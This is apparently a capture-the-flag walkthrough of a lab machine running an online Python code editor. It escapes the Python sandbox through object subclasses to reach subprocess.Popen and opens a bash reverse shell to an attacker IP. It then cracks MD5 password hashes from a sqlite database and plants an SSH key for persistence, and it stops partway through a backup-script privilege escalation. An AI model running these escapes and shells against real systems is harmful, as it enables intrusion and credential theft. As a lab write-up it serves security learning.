Post

Code

Code

Reconnaissance

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 12:29 PKT
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.40% done; ETC: 12:30 (0:00:57 remaining)
Nmap scan report for 10.10.11.62
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.24 seconds

Testing Sandbox Environment

A python code editor is exposed on port 5000. Let’s try accessing the site. It’s an online python interpreter. We might be able to execute system commands? I tried import os but it seems like the keyword import is restricted and can’t be used. Let’s try reading files.

1
2
with open("/etc/passwd", "r") as f:
    printf(f.read())

This is restricted as well.

Exposing Loaded Classes

We will expose all the classes using a sandbox exploitation technique.

1
print((()).__class__.__bases__[0].__subclasses__())

Attack explanation:

  • (()) is an empty tuple.
  • .class gets its type: <class ‘tuple’>.
  • .bases[0] gets its base class: <class ‘object’>.
  • .subclasses() returns a list of all classes currently inheriting from object.

Why it’s used: This gives access to all loaded classes, including potentially dangerous ones like:

  • subprocess.Popen (for shell execution)
  • argparse.FileType or similar (for reading files)

It’s useful when:

  • import is blocked
  • open() and builtins are restricted
  • You’re limited to eval() or minimal code execution

Exploitation Use: Once you find the index of a useful class (like Popen), you can instantiate it to run system commands or read files, bypassing most sandbox restrictions.

The output won’t fit on your screen use inspect element and copy all the content from output div. Paste it on a notepad and search for classes that could be exploited.

Useful Exposed Classes

  1. Direct System Access
  • subprocess.Popen - Can execute arbitrary system commands to break out of the sandbox
  • os._wrap_close and related OS classes - Direct operating system interactions
  • _ctypes._CData - Can call native system libraries, potentially bypassing sandbox restrictions
  1. Memory/Runtime Manipulation
  • ctypes.CDLL - Load arbitrary shared libraries
  • _ctypes classes - Direct memory access and manipulation
  • gc related classes - Garbage collector manipulation could affect sandbox integrity
  1. Code Execution
  • pickle._Pickler/_Unpickler - Deserialize malicious code for arbitrary execution
  • importlib classes - Import restricted modules or execute code during import
  • compile and eval related functionality - Execute arbitrary Python code
  1. File System Access
  • _io._IOBase and file classes - Read/write files outside sandbox boundaries
  • tempfile classes - Create files in system temp directories
  • pathlib.PurePath - Path traversal attacks
  1. Network Communication
  • _socket.socket - Establish network connections for data exfiltration or C&C
  • urllib.request classes - HTTP requests to external servers
  • ssl classes - Encrypted communications

Abusing Exposed Classes

We will abuse popen() as it allows a program to execute a shell command and create a pipe to communicate with it. But we need to figure out at what index it is situated and then abuse it. We create a python script that traverses through the exposed classes and prints the index of our desired class.

1
2
3
4
5
data = ["type", "weakref", "weakcallableproxy", "weakproxy", "int", "bytearray", "bytes", "list", "NoneType", "NotImplementedType", "traceback", "super", "range", "dict", "dict_keys", "dict_values", "dict_items", "dict_reversekeyiterator", "dict_reversevalueiterator", "dict_reverseitemiterator", "odict_iterator", "set", "str", "slice", "staticmethod", "complex", "float", "frozenset", "property", "managedbuffer", "memoryview", "tuple", "enumerate", "reversed", "stderrprinter", "code", "frame", "builtin_function_or_method", "method", "function", "mappingproxy", "generator", "getset_descriptor", "wrapper_descriptor", "method-wrapper", "ellipsis", "member_descriptor", "types.SimpleNamespace", "PyCapsule", "longrange_iterator", "cell", "instancemethod", "classmethod_descriptor", "method_descriptor", "callable_iterator", "iterator", "pickle.PickleBuffer", "coroutine", "coroutine_wrapper", "InterpreterID", "EncodingMap", "fieldnameiterator", "formatteriterator", "BaseException", "hamt", "hamt_array_node", "hamt_bitmap_node", "hamt_collision_node", "keys", "values", "items", "Context", "ContextVar", "Token", "Token.MISSING", "moduledef", "module", "filter", "map", "zip", "_frozen_importlib._ModuleLock", "_frozen_importlib._DummyModuleLock", "_frozen_importlib._ModuleLockManager", "_frozen_importlib.ModuleSpec", "_frozen_importlib.BuiltinImporter", "classmethod", "_frozen_importlib.FrozenImporter", "_frozen_importlib._ImportLockContext", "_thread._localdummy", "_thread._local", "_thread.lock", "_thread.RLock", "_io._IOBase", "_io._BytesIOBuffer", "_io.IncrementalNewlineDecoder", "posix.ScandirIterator", "posix.DirEntry", "_frozen_importlib_external.WindowsRegistryFinder", "_frozen_importlib_external._LoaderBasics", "_frozen_importlib_external.FileLoader", "_frozen_importlib_external._NamespacePath", "_frozen_importlib_external._NamespaceLoader", "_frozen_importlib_external.PathFinder", "_frozen_importlib_external.FileFinder", "zipimport.zipimporter", "zipimport._ZipImportResourceReader", "codecs.Codec", "codecs.IncrementalEncoder", "codecs.IncrementalDecoder", "codecs.StreamReaderWriter", "codecs.StreamRecoder", "_abc_data", "abc.ABC", "dict_itemiterator", "collections.abc.Hashable", "collections.abc.Awaitable", "collections.abc.AsyncIterable", "async_generator", "collections.abc.Iterable", "bytes_iterator", "bytearray_iterator", "dict_keyiterator", "dict_valueiterator", "list_iterator", "list_reverseiterator", "range_iterator", "set_iterator", "str_iterator", "tuple_iterator", "collections.abc.Sized", "collections.abc.Container", "collections.abc.Callable", "os._wrap_close", "_sitebuiltins.Quitter", "_sitebuiltins._Printer", "_sitebuiltins._Helper", "types.DynamicClassAttribute", "types._GeneratorWrapper", "warnings.WarningMessage", "warnings.catch_warnings", "importlib.abc.Finder", "importlib.abc.Loader", "importlib.abc.ResourceReader", "operator.itemgetter", "operator.attrgetter", "operator.methodcaller", "itertools.accumulate", "itertools.combinations", "itertools.combinations_with_replacement", "itertools.cycle", "itertools.dropwhile", "itertools.takewhile", "itertools.islice", "itertools.starmap", "itertools.chain", "itertools.compress", "itertools.filterfalse", "itertools.count", "itertools.zip_longest", "itertools.permutations", "itertools.product", "itertools.repeat", "itertools.groupby", "itertools._grouper", "itertools._tee", "itertools._tee_dataobject", "reprlib.Repr", "collections.deque", "_collections._deque_iterator", "_collections._deque_reverse_iterator", "_collections._tuplegetter", "collections._Link", "functools.partial", "functools._lru_cache_wrapper", "functools.partialmethod", "functools.singledispatchmethod", "functools.cached_property", "contextlib.ContextDecorator", "contextlib._GeneratorContextManagerBase", "contextlib._BaseExitStack", "enum.auto", "Enum", "re.Pattern", "re.Match", "_sre.SRE_Scanner", "sre_parse.State", "sre_parse.SubPattern", "sre_parse.Tokenizer", "re.Scanner", "__future__._Feature", "zlib.Compress", "zlib.Decompress", "_weakrefset._IterationGuard", "_weakrefset.WeakSet", "threading._RLock", "threading.Condition", "threading.Semaphore", "threading.Event", "threading.Barrier", "threading.Thread", "_bz2.BZ2Compressor", "_bz2.BZ2Decompressor", "_lzma.LZMACompressor", "_lzma.LZMADecompressor", "Struct", "unpack_iterator", "zipfile.ZipInfo", "zipfile.LZMACompressor", "zipfile.LZMADecompressor", "zipfile._SharedFile", "zipfile._Tellable", "zipfile.ZipFile", "zipfile.Path", "weakref.finalize._Info", "weakref.finalize", "pkgutil.ImpImporter", "pkgutil.ImpLoader", "datetime.date", "datetime.timedelta", "datetime.time", "datetime.tzinfo", "pyexpat.xmlparser", "plistlib.Data", "plistlib.UID", "plistlib._PlistParser", "plistlib._DumbXMLWriter", "plistlib._BinaryPlistParser", "plistlib._BinaryPlistWriter", "string.Template", "string.Formatter", "email.charset.Charset", "email.header.Header", "email.header._ValueFormatter", "_sha512.sha384", "_sha512.sha512", "_random.Random", "select.poll", "select.epoll", "selectors.BaseSelector", "_socket.socket", "ipaddress._IPAddressBase", "ipaddress._BaseV4", "ipaddress._IPv4Constants", "ipaddress._BaseV6", "ipaddress._IPv6Constants", "urllib.parse._ResultMixinStr", "urllib.parse._ResultMixinBytes", "urllib.parse._NetlocResultMixinBase", "calendar._localized_month", "calendar._localized_day", "calendar.Calendar", "calendar.different_locale", "email._parseaddr.AddrlistClass", "email._policybase._PolicyBase", "email.feedparser.BufferedSubFile", "email.feedparser.FeedParser", "email.parser.Parser", "email.parser.BytesParser", "tempfile._RandomNameSequence", "tempfile._TemporaryFileCloser", "tempfile._TemporaryFileWrapper", "tempfile.SpooledTemporaryFile", "tempfile.TemporaryDirectory", "textwrap.TextWrapper", "dis.Bytecode", "tokenize.Untokenizer", "inspect.BlockFinder", "inspect._void", "inspect._empty", "inspect.Parameter", "inspect.BoundArguments", "inspect.Signature", "pkg_resources.extern.VendorImporter", "pkg_resources._vendor.six._LazyDescr", "pkg_resources._vendor.six._SixMetaPathImporter", "pkg_resources._vendor.six._LazyDescr", "pkg_resources._vendor.six._SixMetaPathImporter", "pkg_resources._vendor.appdirs.AppDirs", "pkg_resources.extern.packaging._structures.Infinity", "pkg_resources.extern.packaging._structures.NegativeInfinity", "pkg_resources.extern.packaging.version._BaseVersion", "pkg_resources.extern.packaging.specifiers.BaseSpecifier", "pprint._safe_key", "pprint.PrettyPrinter", "traceback.FrameSummary", "traceback.TracebackException", "pkg_resources._vendor.pyparsing._Constants", "pkg_resources._vendor.pyparsing._ParseResultsWithOffset", "pkg_resources._vendor.pyparsing.ParseResults", "pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache", "pkg_resources._vendor.pyparsing.ParserElement._FifoCache", "pkg_resources._vendor.pyparsing.ParserElement", "pkg_resources._vendor.pyparsing._NullToken", "pkg_resources._vendor.pyparsing.OnlyOnce", "pkg_resources._vendor.pyparsing.pyparsing_common", "pkg_resources.extern.packaging.markers.Node", "pkg_resources.extern.packaging.markers.Marker", "pkg_resources.extern.packaging.requirements.Requirement", "pkg_resources.IMetadataProvider", "pkg_resources.WorkingSet", "pkg_resources.Environment", "pkg_resources.ResourceManager", "pkg_resources.NullProvider", "pkg_resources.NoDists", "pkg_resources.EntryPoint", "pkg_resources.Distribution", "_ast.AST", "ast.NodeVisitor", "CArgObject", "_ctypes.CThunkObject", "_ctypes._CData", "_ctypes.CField", "_ctypes.DictRemover", "_ctypes.StructParam_Type", "ctypes.CDLL", "ctypes.LibraryLoader", "subprocess.CompletedProcess", "subprocess.Popen", "logging.LogRecord", "logging.PercentStyle", "logging.Formatter", "logging.BufferingFormatter", "logging.Filter", "logging.Filterer", "logging.PlaceHolder", "logging.Manager", "logging.LoggerAdapter", "gunicorn.pidfile.Pidfile", "gunicorn.sock.BaseSocket", "gunicorn.arbiter.Arbiter", "gettext.NullTranslations", "argparse._AttributeHolder", "argparse.HelpFormatter._Section", "argparse.HelpFormatter", "argparse.FileType", "argparse._ActionsContainer", "shlex.shlex", "_ssl._SSLContext", "_ssl._SSLSocket", "_ssl.MemoryBIO", "_ssl.Session", "ssl.SSLObject", "gunicorn.reloader.InotifyReloader", "gunicorn.config.Config", "gunicorn.config.Setting", "gunicorn.debug.Spew", "gunicorn.app.base.BaseApplication", "_pickle.Unpickler", "_pickle.Pickler", "_pickle.Pdata", "_pickle.PicklerMemoProxy", "_pickle.UnpicklerMemoProxy", "pickle._Framer", "pickle._Unframer", "pickle._Pickler", "pickle._Unpickler", "_queue.SimpleQueue", "queue.Queue", "queue._PySimpleQueue", "logging.handlers.QueueListener", "socketserver.BaseServer", "socketserver.ForkingMixIn", "socketserver._NoThreads", "socketserver.ThreadingMixIn", "socketserver.BaseRequestHandler", "logging.config.ConvertingMixin", "logging.config.BaseConfigurator", "gunicorn.glogging.Logger", "gunicorn.http.unreader.Unreader", "gunicorn.http.body.ChunkedReader", "gunicorn.http.body.LengthReader", "gunicorn.http.body.EOFReader", "gunicorn.http.body.Body", "gunicorn.http.message.Message", "gunicorn.http.parser.Parser", "gunicorn.http.wsgi.FileWrapper", "gunicorn.http.wsgi.Response", "gunicorn.workers.workertmp.WorkerTmp", "gunicorn.workers.base.Worker", "typing._Final", "typing._Immutable", "typing.Generic", "typing._TypingEmpty", "typing._TypingEllipsis", "typing.NamedTuple", "typing.io", "typing.re", "_json.Scanner", "_json.Encoder", "json.decoder.JSONDecoder", "json.encoder.JSONEncoder", "email.message.Message", "http.client.HTTPConnection", "mimetypes.MimeTypes", "werkzeug._internal._Missing", "markupsafe._MarkupEscapeHelper", "werkzeug.exceptions.Aborter", "werkzeug.datastructures.mixins.ImmutableListMixin", "werkzeug.datastructures.mixins.ImmutableDictMixin", "werkzeug.datastructures.mixins.ImmutableHeadersMixin", "werkzeug.datastructures.structures._omd_bucket", "_hashlib.HASH", "_blake2.blake2b", "_blake2.blake2s", "_sha3.sha3_224", "_sha3.sha3_256", "_sha3.sha3_384", "_sha3.sha3_512", "_sha3.shake_128", "_sha3.shake_256", "urllib.request.Request", "urllib.request.OpenerDirector", "urllib.request.BaseHandler", "urllib.request.HTTPPasswordMgr", "urllib.request.AbstractBasicAuthHandler", "urllib.request.AbstractDigestAuthHandler", "urllib.request.URLopener", "urllib.request.ftpwrapper", "werkzeug.datastructures.auth.Authorization", "werkzeug.datastructures.auth.WWWAuthenticate", "werkzeug.datastructures.file_storage.FileStorage", "werkzeug.datastructures.headers.Headers", "werkzeug.datastructures.range.IfRange", "werkzeug.datastructures.range.Range", "werkzeug.datastructures.range.ContentRange", "dataclasses._HAS_DEFAULT_FACTORY_CLASS", "dataclasses._MISSING_TYPE", "dataclasses._FIELD_BASE", "dataclasses.InitVar", "dataclasses.Field", "dataclasses._DataclassParams", "werkzeug.sansio.multipart.Event", "werkzeug.sansio.multipart.MultipartDecoder", "werkzeug.sansio.multipart.MultipartEncoder", "hmac.HMAC", "werkzeug.wsgi.ClosingIterator", "werkzeug.wsgi.FileWrapper", "werkzeug.wsgi._RangeWrapper", "werkzeug.formparser.FormDataParser", "werkzeug.formparser.MultiPartParser", "werkzeug.user_agent.UserAgent", "werkzeug.sansio.request.Request", "werkzeug.sansio.response.Response", "werkzeug.wrappers.response.ResponseStream", "werkzeug.test.EnvironBuilder", "werkzeug.test.Client", "werkzeug.test.Cookie", "werkzeug.local.Local", "werkzeug.local.LocalManager", "werkzeug.local._ProxyLookup", "decimal.Decimal", "decimal.Context", "decimal.SignalDictMixin", "decimal.ContextManager", "numbers.Number", "uuid.UUID", "flask.json.provider.JSONProvider", "click._compat._FixupStream", "click._compat._AtomicFile", "click.utils.LazyFile", "click.utils.KeepOpenFile", "click.utils.PacifyFlushWrapper", "click.types.ParamType", "click.parser.Option", "click.parser.Argument", "click.parser.ParsingState", "click.parser.OptionParser", "click.formatting.HelpFormatter", "click.core.Context", "click.core.BaseCommand", "click.core.Parameter", "werkzeug.routing.converters.BaseConverter", "difflib.SequenceMatcher", "difflib.Differ", "difflib.HtmlDiff", "werkzeug.routing.rules.RulePart", "werkzeug.routing.rules.RuleFactory", "werkzeug.routing.rules.RuleTemplate", "werkzeug.routing.matcher.State", "werkzeug.routing.matcher.StateMachineMatcher", "werkzeug.routing.map.Map", "werkzeug.routing.map.MapAdapter", "_csv.Dialect", "_csv.reader", "_csv.writer", "csv.Dialect", "csv.DictReader", "csv.DictWriter", "csv.Sniffer", "pathlib._Flavour", "pathlib._Accessor", "pathlib._Selector", "pathlib._TerminatingSelector", "pathlib.PurePath", "configparser.Interpolation", "importlib.metadata.FileHash", "importlib.metadata.Distribution", "importlib.metadata.DistributionFinder.Context", "importlib.metadata.FastPath", "importlib.metadata.Prepared", "blinker._utilities.Symbol", "blinker.base.Signal", "flask.cli.ScriptInfo", "flask.ctx._AppCtxGlobals", "flask.ctx.AppContext", "flask.ctx.RequestContext", "jinja2.bccache.Bucket", "jinja2.bccache.BytecodeCache", "jinja2.utils.MissingType", "jinja2.utils.LRUCache", "jinja2.utils.Cycler", "jinja2.utils.Joiner", "jinja2.utils.Namespace", "jinja2.nodes.EvalContext", "jinja2.nodes.Node", "jinja2.visitor.NodeVisitor", "jinja2.idtracking.Symbols", "jinja2.compiler.MacroRef", "jinja2.compiler.Frame", "jinja2.runtime.TemplateReference", "jinja2.runtime.Context", "jinja2.runtime.BlockReference", "jinja2.runtime.LoopContext", "jinja2.runtime.Macro", "jinja2.runtime.Undefined", "jinja2.lexer.Failure", "jinja2.lexer.TokenStreamIterator", "jinja2.lexer.TokenStream", "jinja2.lexer.Lexer", "jinja2.parser.Parser", "jinja2.environment.Environment", "jinja2.environment.Template", "jinja2.environment.TemplateModule", "jinja2.environment.TemplateExpression", "jinja2.environment.TemplateStream", "jinja2.loaders.BaseLoader", "flask.sansio.scaffold.Scaffold", "itsdangerous.signer.SigningAlgorithm", "itsdangerous.signer.Signer", "itsdangerous._json._CompactJSON", "flask.json.tag.JSONTag", "flask.json.tag.TaggedJSONSerializer", "flask.sessions.SessionInterface", "flask.sansio.blueprints.BlueprintSetupState", "sqlalchemy.util.preloaded._ModuleRegistry", "_cython_3_0_10.cython_function_or_method", "_cython_3_0_10.generator", "sqlalchemy.cyextension.collections.IdentitySet", "sqlalchemy.cyextension.collections.__pyx_scope_struct__symmetric_difference", "sqlalchemy.cyextension.collections.__pyx_scope_struct_1_genexpr", "sqlalchemy.cyextension.immutabledict.ReadOnlyContainer", "sqlalchemy.cyextension.processors.DecimalResultProcessor", "sqlalchemy.cyextension.resultproxy.BaseRow", "sqlalchemy.exc.HasDescriptionCode", "sqlalchemy.exc.DontWrapMixin", "typing_extensions._Sentinel", "typing_extensions.Any", "typing_extensions.TypedDict", "typing_extensions.Annotated", "typing_extensions.NoDefaultType", "typing_extensions._DefaultMixin", "typing_extensions.TypeVar", "typing_extensions._Immutable", "typing_extensions.deprecated", "typing_extensions.NamedTuple", "typing_extensions.NewType", "typing_extensions.TypeAliasType", "typing_extensions.Doc", "concurrent.futures._base._Waiter", "concurrent.futures._base._AcquireFutures", "concurrent.futures._base.Future", "concurrent.futures._base.Executor", "asyncio.coroutines.CoroWrapper", "asyncio.events.Handle", "asyncio.events.AbstractServer", "asyncio.events.AbstractEventLoop", "asyncio.events.AbstractEventLoopPolicy", "_asyncio.Future", "_asyncio.FutureIter", "TaskStepMethWrapper", "TaskWakeupMethWrapper", "_RunningLoopHolder", "asyncio.futures.Future", "asyncio.protocols.BaseProtocol", "asyncio.transports.BaseTransport", "asyncio.sslproto._SSLPipe", "asyncio.locks._ContextManager", "asyncio.locks._ContextManagerMixin", "asyncio.locks.Event", "asyncio.trsock.TransportSocket", "asyncio.queues.Queue", "asyncio.streams.StreamWriter", "asyncio.streams.StreamReader", "asyncio.subprocess.Process", "asyncio.unix_events.AbstractChildWatcher", "greenlet.greenlet", "sqlalchemy.util.langhelpers.safe_reraise", "sqlalchemy.util.langhelpers.PluginLoader", "sqlalchemy.util.langhelpers.portable_instancemethod", "sqlalchemy.util.langhelpers.HasMemoized", "sqlalchemy.util.langhelpers.MemoizedSlots", "sqlalchemy.util.langhelpers._FastIntFlag", "sqlalchemy.util.langhelpers.TypingOnly", "sqlalchemy.util.langhelpers.EnsureKWArg", "sqlalchemy.util._concurrency_py3k.AsyncAdaptedLock", "sqlalchemy.util._concurrency_py3k._Runner", "sqlalchemy.util.concurrency._AsyncUtil", "sqlalchemy.event.registry.EventTarget", "sqlalchemy.event.base._UnpickleDispatch", "sqlalchemy.log.Identified", "sqlalchemy.log.InstanceLogger", "sqlalchemy.log.echo_property", "sqlalchemy.pool.base.PoolResetState", "sqlalchemy.pool.base._ConnDialect", "sqlalchemy.pool.base.ManagesConnection", "sqlalchemy.sql.roles.SQLRole", "sqlalchemy.sql.roles.UsesInspection", "sqlalchemy.sql.roles.AllowsLambdaRole", "sqlalchemy.sql.visitors.Visitable", "sqlalchemy.sql.visitors.HasTraverseInternals", "sqlalchemy.sql.visitors.HasTraversalDispatch", "sqlalchemy.sql.cache_key.HasCacheKey", "sqlalchemy.sql.operators.Operators", "sqlalchemy.sql.base.Immutable", "sqlalchemy.sql.base.DialectKWArgs", "sqlalchemy.sql.base.CompileState", "sqlalchemy.sql.base.Options", "sqlalchemy.sql.coercions.RoleImpl", "sqlalchemy.sql.coercions._Deannotate", "sqlalchemy.sql.coercions._StringOnly", "sqlalchemy.sql.type_api.TypeEngineMixin", "sqlalchemy.sql.sqltypes._RenderISO8601NoT", "sqlalchemy.sql.selectable.HasPrefixes", "sqlalchemy.sql.selectable.HasSuffixes", "sqlalchemy.sql.selectable.HasHints", "sqlalchemy.sql.selectable.NoInit", "sqlalchemy.sql.selectable._SelectFromElements", "sqlalchemy.sql.schema.HasConditionalDDL", "sqlalchemy.sql.schema.IdentityOptions", "sqlalchemy.sql.schema.ColumnCollectionMixin", "sqlalchemy.sql.util._repr_base", "sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping", "sqlalchemy.sql.dml.DMLWhereBase", "sqlalchemy.sql.functions._FunctionGenerator", "sqlalchemy.sql.compiler.Compiled", "sqlalchemy.sql.compiler.IdentifierPreparer", "sqlalchemy.sql.lambdas.AnalyzedCode", "sqlalchemy.sql.lambdas.NonAnalyzedFunction", "sqlalchemy.sql.lambdas.AnalyzedFunction", "sqlalchemy.sql.naming.ConventionDict", "sqlalchemy.engine.interfaces.CreateEnginePlugin", "sqlalchemy.engine.interfaces.ExecutionContext", "sqlalchemy.engine.interfaces.ExceptionContext", "sqlalchemy.engine.interfaces.AdaptedConnection", "sqlalchemy.engine.util.TransactionalContext", "sqlalchemy.engine.mock.MockConnection", "sqlalchemy.engine.result.ResultMetaData", "sqlalchemy.engine.result._WithKeys", "sqlalchemy.engine.cursor.ResultFetchStrategy", "sqlalchemy.engine.reflection.ReflectionDefaults", "sqlalchemy.engine.reflection._ReflectionInfo", "sqlalchemy.orm.base.InspectionAttr", "sqlalchemy.orm.collections.collection", "sqlalchemy.orm.collections.CollectionAdapter", "sqlalchemy.orm.mapped_collection._AttrGetter", "sqlalchemy.orm.interfaces._IntrospectsAnnotations", "sqlalchemy.orm.interfaces._DCAttributeOptions", "sqlalchemy.orm.interfaces.LoaderStrategy", "sqlalchemy.orm.attributes.AttributeEventToken", "sqlalchemy.orm.attributes.AttributeImpl", "sqlalchemy.orm.attributes.HasCollectionAdapter", "sqlalchemy.orm.util._WrapUserEntity", "sqlalchemy.orm.state.AttributeState", "sqlalchemy.orm.state.PendingCollection", "sqlalchemy.orm.instrumentation._SerializeManager", "sqlalchemy.orm.context.QueryContext", "sqlalchemy.orm.context.DMLReturningColFilter", "sqlalchemy.orm.context._QueryEntity", "sqlalchemy.orm.loading.PostLoad", "sqlalchemy.orm.relationships.JoinCondition", "sqlalchemy.orm.relationships._ColInAnnotations", "sqlalchemy.orm.query.BulkUD", "sqlalchemy.orm.evaluator._EvaluatorCompiler", "sqlalchemy.orm.identity.IdentityMap", "sqlalchemy.orm.state_changes._StateChange", "sqlalchemy.orm.unitofwork.UOWTransaction", "sqlalchemy.orm.unitofwork.IterateMappersMixin", "sqlalchemy.orm.unitofwork.PostSortRec", "sqlalchemy.orm.session._SessionClassMethods", "sqlalchemy.orm.clsregistry.ClsRegistryToken", "sqlalchemy.orm.clsregistry._ModNS", "sqlalchemy.orm.clsregistry._GetColumns", "sqlalchemy.orm.clsregistry._GetTable", "sqlalchemy.orm.clsregistry._class_resolver", "sqlalchemy.orm.decl_base._MapperConfig", "sqlalchemy.orm.decl_api._declared_attr_common", "sqlalchemy.orm.decl_api.MappedAsDataclass", "sqlalchemy.orm.decl_api.registry", "sqlalchemy.orm.strategies.LoadDeferredColumns", "sqlalchemy.orm.strategies.LoadLazyAttribute", "sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections", "sqlalchemy.orm.writeonly.DynamicCollectionAdapter", "sqlalchemy.orm.events._InstrumentationEventsHold", "sqlalchemy.orm.dependency.DependencyProcessor", "flask_sqlalchemy.pagination.Pagination", "flask_sqlalchemy.model._QueryProperty", "flask_sqlalchemy.model.Model", "flask_sqlalchemy.model.BindMixin", "flask_sqlalchemy.model.NameMixin", "flask_sqlalchemy.extension.SQLAlchemy", "sqlalchemy.dialects.sqlite.json._FormatTypeMixin", "sqlalchemy.dialects.sqlite.base._DateTimeMixin", "sqlalchemy.dialects.sqlite.aiosqlite.AsyncAdapt_aiosqlite_cursor", "sqlalchemy.dialects.sqlite.aiosqlite.AsyncAdapt_aiosqlite_dbapi", "sqlite3.Row", "sqlite3.Cursor", "sqlite3.Connection", "sqlite3Node", "sqlite3.Cache", "sqlite3.Statement", "sqlite3.PrepareProtocol", "unicodedata.UCD"]

for index, item in enumerate(data):
    if "Popen" in item:
        print(f"The class containing 'Popen' is at index: {index}, class name: {item}")

The index is 317.

Foothold

Reverse Shell

Now let’s obtain a reverse shell by executing the following code:

1
2
3
(1).__class__.__mro__[1].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.37/1234 0>&1"]
)

Explanation

It chains together Python’s introspection features to access and invoke a dangerous class (subprocess.Popen) without using import, open, or variable assignments. All of which are commonly restricted in sandboxed environments.


(1).__class__

This retrieves the class of the integer 1, which is <class 'int'>.

.__mro__

The method resolution order (MRO) is a tuple showing the inheritance hierarchy. For int, this is:

1
(<class 'int'>, <class 'object'>)
.__mro__[1]

This accesses <class 'object'>.

.__subclasses__()

This returns a list of all classes that inherit from object. This includes every class that has been loaded into memory, such as:

  • subprocess.Popen
  • argparse.FileType
  • zipfile.ZipFile

So far, this:

1
(1).__class__.__mro__[1].__subclasses__()

is equivalent to:

1
object.__subclasses__()
[317]

This accesses the 318th class in the list (index starts at 0). Based on prior discovery, this index corresponds to subprocess.Popen.

At this point, this is effectively:

1
subprocess.Popen([...])
(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.37/1234 0>&1"])

This is the argument passed to Popen. It tells Python to execute a Bash shell with the -c flag, meaning “run this command”:

1
bash -i >& /dev/tcp/10.10.16.37/1234 0>&1

This Bash command opens an interactive shell (-i), redirects standard input/output/error (0, 1, and 2) to a TCP socket connected to IP 10.10.16.37 on port 1234. This is a classic reverse shell payload.


TTY Upgrade

Once we have a reverse shell we upgrade our TTY using:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

We are restricted to app-production. Perhaps there is a file with credentials that could be used for user ‘martin’. app.py has a secret key: 7j4D5htxLHUiffsjLXB1z9GaZ5. But this can’t be used for the user ‘martin’, however, we might be able to use it for database.

Well it seems like the user flag is just outside ~/app. In ~/app/instance we have ‘database.db’ file which exposes credentials for martin and development.

We access sqlite3 database using:

1
sqlite3 instance/database.db

Then we list all the users:

1
2
3
4
5
6
7
sqlite> .tables
.tables
code  user
sqlite> select * from user;
select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

Since we can’t use them as it is, they must be hashes. Let’s try cracking them. I used https://crackstation.net and got the following results: It’s an MD5 Hash.

1
2
martin:nafeelswordsmaster
development:development

We can finally su into martin. We have a backups folder in martin directory.

Privilege Escalation

sudo -l returns:

1
2
3
4
5
6
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

SSH

Let’s first ssh into the victim computer as the reverse shell is unstable.

1
ssh-keygen -t rsa -f ~/.ssh/persist_key

On victim:

1
2
3
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8J+wtxq+9SOOPI2fiPNh2ZzW8WMhm2BN/GCfhB2il5Jl250ZOerW3QAfoxbJMStlmzkQAgPQU1mAV58P0B+hDTxPAchdKF5F851XoLGgPLqehmeIn+TkiDvD5++C3LVYo9cnuIv0FfJtQ5CjD/QDjwcKQvYKM8KsNqK+JIbOP7w3E+l8KpXWFs/a8Wm8lFJb/uu/OkAyNCp69Qdi19ywI/6u6YUt7EDrAJPs3Rm3A+YUs2oSHlWAIDAnWBWLkTltMhTJ72KeSGDmtnY6+VX0ijpWqu+tHlEWezxyJ6G08+1d1Q5l0p71q5LbB4CUrkOZVZpn1prXKZCCQQaT6hEwOxWVZwUmavR/JCLWSxEkLTyLL3H/V7jyyP1d+1o1jtkXVz8t809uwTk6ov+x0jws0N0DB/W+LaPO6/nu/9ZqUIzuAH38Ka2u42iPk1gYqfjVsOYwEolyEepXbyQj3YJs3j/9FLt31MuWhGNmWVCEjHSn9SD57h22dFrN1MvgLFj0= kali@vm-kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

On attacker:

ssh -i ~/.ssh/persist_key martin@10.10.11.62

backy.sh

Let’s see what backy.sh could do. Any user can execute it. But it’s owned by root.

1
-rwxr-xr-x 1 root root 926 Sep 16  2024 /usr/bin/backy.sh

The script requires a json file. There are whitelisted paths. It creates an archive/compresses an entire directory, which means we could just compress the entire root directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

